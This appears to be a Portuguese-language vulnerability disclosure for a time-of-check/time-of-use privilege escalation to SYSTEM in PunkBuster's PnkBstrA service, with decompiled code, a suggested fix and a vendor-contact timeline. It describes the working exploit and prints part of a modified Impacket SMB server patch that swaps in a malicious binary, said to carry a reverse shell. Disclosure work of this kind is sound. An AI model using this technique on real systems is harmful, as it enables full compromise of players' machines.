
PunkBuster LPI para NT AUTHORITY\SYSTEM

O PunkBuster instala-se como dois serviços e, opcionalmente?, um driver de kernel.
PnkBstrA: Serviço que é executado constantemente em segundo plano e é responsável por gerir o PunkBuster como um todoPnkBstrB: Serviço que inicia quando um jogo protegido é iniciado. Tem mais funcionalidades do que a sua contraparte A.Ambos os serviços são estruturados de forma semelhante, escutando UDP em localhost numa porta no intervalo [44301, 44400].
Assim que encontra uma porta, esta é escrita no valor Port em HKLM:\SOFTWARE\Even Balance\PnkBstrA ou HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA.
Cada pedido é armazenado num buffer global com 1500 bytes de comprimento (no entanto, apenas são recebidos 1499 bytes por causa de um terminador NUL).
Não existe uma estrutura padrão para os dados do pedido, mas aqui está a sua estrutura habitual:
Os tipos de pedido em PnkBstrA são os seguintes:
l: Load (Carregar): Inicia e atualiza o PnkBstrB
PnkBstrB atualizadou: Unload (Descarregar): Para o PnkBstrBv: Version (Versão): Simplesmente devolve a versãom: Monitor (Monitorizar): Aceita um PID e verifica se a DLL do cliente PunkBuster (pbcl.dll) está no processo, despejando a sua memória se estiver presente.O handler de load (l) contém uma vulnerabilidade do tipo TOCTOU, levando a uma Escalação Local de Privilégios como NT AUTHORITY\SYSTEM.
O fluxo do handler é algo como isto:
PnkBstrBEven Balance, Inc.C:\Windows\SysWOW64\PnkBstrB.exe ou C:\Windows\System32\PnkBstrB.exe, dependendo da plataformaPnkBstrB a correr como LocalSystem com o ficheiro recém-copiado.O problema aqui é que o ficheiro que o PnkBstrA está a manipular é reaberto muitas vezes para cada operação, levando a uma situação em que um atacante poderia modificar o ficheiro entre operações.
Isto pode levar a um problema em que, depois de o ficheiro ser validado quanto ao seu certificado, este é trocado e um ficheiro malicioso acaba como executável do serviço PnkBstrB. Este executável tornaria possível a um utilizador sem privilégios elevar para NT AUTHORITY\SYSTEM.
A descompilação relevante é mostrada aqui:
int startPnkB(char *updateFileName) {
...
// Calculate first MD5
firstMd5Fp = fopen(updateFileName, "r+b");
strcpy(firstMd5, "1");
if ( firstMd5Fp )
computeMD5(updateFileName, firstMd5);
nowMs = GetTickCount();
busyWaitExpiration = rand() % 800 + 300;
while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
;
fclose(firstMd5Fp);
// INJECTION POINT 1
// Check certificate
certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
if ( g_Warnings >= 3 )
{
log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
if ( certificateFilePointer )
fclose(certificateFilePointer);
return 0;
}
if ( !checkValidCertificate(updateFileName) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
goto LABEL_49;
}
// Build path to copy to
GetSystemDirectoryA(g_SystemDirectory, 246u);
if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
strncat(g_SystemDirectory, 260, "\\");
strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
_chmod(g_SystemDirectory, 0600);
strcpy(Str, g_SystemDirectory);
...
// INJECTION POINT 2
Sleep(750u);
if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
{
Sleep(750u);
for ( startTimea = 1; startTimea > 0; --startTimea )
{
Sleep(750u);
if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
break;
}
if ( startTimea < 1 )
{
LastError = GetLastError();
log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
fclose(certificateFilePointer);
return 0;
}
}
// Make sure we previously opened the file
v9 = certificateFilePointer;
if ( certificateFilePointer )
{
fclose(certificateFilePointer);
v9 = fopen(g_SystemDirectory, "rb");
}
// Second MD5
strcpy(newMd5, "2");
if ( v9 )
computeMD5(g_SystemDirectory, newMd5);
if ( memcmp(firstMd5, newMd5, 0x10u) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
LABEL_41:
if ( v9 )
fclose(v9);
return 0;
}
ServiceA = CreateServiceA(
hSCManager,
"PnkBstrB",
"PnkBstrB",
0xF01FFu,
0x10u,
2u,
1u,
g_SystemDirectory,
0,
0,
0,
0,
0);
...
}
Uma correção simples seria copiar primeiro o ficheiro para um local seguro mas temporário (ex.: PnkBstrB.exe.tmp) e calcular o MD5 e as verificações a partir daí. Desta forma, o ficheiro não poderia ser editado por um ator malicioso. Isto também garantiria que apenas uma cópia do ficheiro é aberta, o que impede a exploração via SMB.
Um cenário de ataque poderia ser fornecer um ficheiro malicioso, esperar que o MD5 seja calculado, substituir o ficheiro pelo PnkBstrB.exe original para que as verificações WinVerifyTrust e de certificado passem, e depois substituí-lo novamente pelo ficheiro malicioso, para que o segundo MD5 passe e o ficheiro seja copiado e executado.
No entanto, este cenário é muito difícil de executar, pois substituir o ficheiro é difícil, e modificá-lo enquanto está aberto pelo PnkBstrA não parece aplicar as alterações.
Isto acontece porque é difícil agendar o nosso código no INJECTION POINT 1, como visto no código. Provavelmente é possível usando muitas threads críticas em termos de tempo, algumas das quais tentam constantemente substituir o ficheiro, e outras bloqueiam núcleos concorrentes em busy waits.
Outra abordagem seria tentar ter uma colisão MD5 entre o PnkBstrB e o ficheiro malicioso. Isto funcionaria usando primeiro o ficheiro legítimo como candidato para o primeiro MD5 e sendo verificado quanto ao certificado. No entanto, depois disso temos uma boa janela de 750 milissegundos ou mais para substituir o ficheiro pelo nosso. Então, o segundo MD5 passaria e o nosso ficheiro seria injetado. No entanto, durante o desenvolvimento, tive preguiça de esperar que uma colisão fosse gerada, por isso optei por outra abordagem.
Este código depende do Windows e usa fopen, que mapeia para as funções de I/O do próprio Windows. Por definição, isto significaria que partilhas SMB seriam acessíveis. Além disso, o MSDN menciona que este comportamento é suportado:
fopenaceita caminhos UNC e caminhos que envolvem unidades de rede mapeadas, desde que o sistema que executa o código tenha acesso à partilha ou unidade mapeada no momento da execução
Isto significa que poderíamos usar a nossa primeira abordagem, mas como o código dependeria da nossa partilha SMB, enviamos ficheiros diferentes dependendo do número de vezes que o ficheiro foi pedido.
Ao modificar o smbserver do Impacket, é possível obter este comportamento.
O ficheiro .patch completo pode ser encontrado aqui. As principais alterações são:
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
...
if not hasattr(smbServer, '_hist'):
smbServer._hist = {}
if pathName.endswith('.exe'):
if pathName not in smbServer._hist.keys():
smbServer._hist[pathName] = 0
smbServer._hist[pathName] += 1
if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
pathName = './PwnBstr.exe'
else:
pathName = './PnkBstrB.exe'
Como pode ver, se for a primeira vez que abrimos o ficheiro (primeiro MD5) ou pelo menos a 8.ª vez (cópia do ficheiro e seguintes), enviamos ao cliente o ficheiro malicioso, enquanto enviamos o original nos outros casos.
O código do ficheiro malicioso pode ser encontrado aqui, que é um simples serviço hello world com uma reverse shell.
https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220
A EvenBalance foi contactada múltiplas vezes desde 2025-02-15 através de diferentes métodos, mas não respondeu.
Este problema foi totalmente divulgado em 2025-05-10.